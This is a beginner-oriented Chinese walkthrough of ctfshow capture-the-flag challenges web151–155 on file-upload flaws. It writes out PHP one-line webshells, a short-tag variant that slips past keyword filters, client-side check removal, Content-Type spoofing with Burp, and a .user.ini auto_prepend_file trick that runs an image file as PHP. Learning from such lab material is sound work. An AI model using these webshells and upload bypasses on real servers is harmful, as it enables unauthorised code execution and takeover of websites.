适合小白的ctfshow web入门 文件上传漏洞web151-web155
web 151
题目如下

查看源代码,在这里我们发现了后端处理上传的是php脚本,要求上传文件格式为png。

首先,后端处理上传的是php脚本,那么我们可以编写一句话木马,然后想办法上传木马文件。
方法一:手动修改js代码
我们将文件要求的格式修改为php,这样我们就可以上传php格式的文件了。

打开记事本,输入一句话木马,格式从txt改为php。
<?php @eval($_POST['shell']); ?>

然后上传,显示页面上传成功

我们访问一把,ok,一句话木马已经被我们上传啦

连接蚁剑,密码为木马里面的shell,但是注意我们要去更改https为http,否则就会和我一样。

更改完后双击,进入如图

随后在/var/www/html中找到flag.php。
方法二:bp抓包绕过
首先编写一句话木马,然后改成符合要求png格式,随后在上传成功后抓包。
<?php @eval($_POST['shell']); ?> ##一句话木马

将mac.png改为shell.php,随后放包。

随后进入/upload/mac.php,然后打开hackbar,使用post方式传参,然后看到了当前目录的文件。
shell=system("ls");

查看上一级目录发现了flag.php。

查看flag.php。

web 152(MIME头绕过)
这道题同样是后端处理上传的是php脚本,要求上传文件格式为png。当我再次使用上一道题的第一种方法时失败了,这说明不仅包含js前端认证,还包括后端认证。

我们按照要求上传一句话木马的png格式,随后用burp抓包,这时候我们看到了Content-Type:image/png
当我们传递正确的格式时经过前端认证,就会出现Content-Type:image/png以此来就是告诉服务器或浏览器,这个文件是png格式。但是这个包在发往浏览器或服务器时被我们抓包了下来。

修改为php格式,随后放包,然后进入页面,使用post传参查看当前目录。
Content-Type:image/png就相当于一个快递标签,而我们通过burp修改文件为php格式相当于偷偷修改快递,这样服务器或浏览器仅仅查看标签的话,就会被上传成功。

猜测该flag应该也在上一级目录,直接查一下看看,ok查到了。

web 153
这次我们再次使用第二题的办法发现失败了,并且告诉我文件类型不合规。
我们可以换一个常规思路,上传配置文件 .htaccess 或者 .user.ini。
首先编写.user.ini文件内容为
auto_prepend_file=mac.png
为了能够将它传上去,改后缀为.png,随后上传并抓包。
更改文件名为.user.ini随后放包

然后继续传入mac.png。

注意!,接下来需要访问一下url/upload,因为我们的文件,mac.png通过.user.ini配置文件被指定包含在upload目录下或其子目录下的一个php文件中,需要执行这个php文件才可以运行mac.php,而访问/upload基本就可以运行一下index.php了。

随后连接蚁剑,连接的地址是url/upload/或者url/upload/index.php
不要跟上shell.png这个文件名!!!!!!!!!!
(还有!别用https协议连接,别用公网ip连接,博主替你们痛苦过了...)
连接成功后访问/var/www/html/flag.php,拿到了flag。

知识补充:
配置文件 .htaccess 和 .user.ini作用类似
.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。
使用.user.ini的前提
服务器开启了CGI或者FastCGI
上传的.user.ini文件所在的目录下和子目录下有php可执行文件。
人话解释:
用人话讲就是.user.ini可以把你指定的一个文件包含到你所上传的.user.ini的目录下和子目录下任意一个会以php执行的文件中(比如index.php、test.php),当你访问index.php后这个被你指定的文件,无论后缀是什么,都会以php的方式进行读取,所以可以绕过后端检测。
具体步骤:
1、先上传一个mac.png(为修改后缀的一句话木马)
2、之后上传一个.user.ini,内容为:"auto_prepend_file=mac.png",前端检测会传不上去,可以先改名为a.png,之后用burp改成.user.ini
3、之后可以用dirsearch扫一下这个upload下面有什么可以利用的php文件,这个题是index.php
4、用蚁剑连接.user.ini所在的目录url/upload就可以成功getshell。
web 154
这道题可以说和上一道题方法一模一样,唯一不一样的就是过滤了php。
当mac.png的内容为<?php @eval($_POST['shell']); ?>时,上传后回显告诉我文件内容不合格。那么其实就是我们输入的内容可能有一些东西被过滤了,那就是php。

所以我们的一句话木马使用php短标签来绕过对php的过滤,就成功了。随后访问url/upload,随后连接蚁剑一条龙服务从而gethell。
<?=@eval($_POST['shell']); ?>
web 155
继续上一道题目的方法即可。
web 155和web 154的主要区别其实就是web 154过滤了php,web 155过滤了php和PHP,php和PHP效果一致。这里使用php短标签通杀即可。
更多推荐


所有评论(0)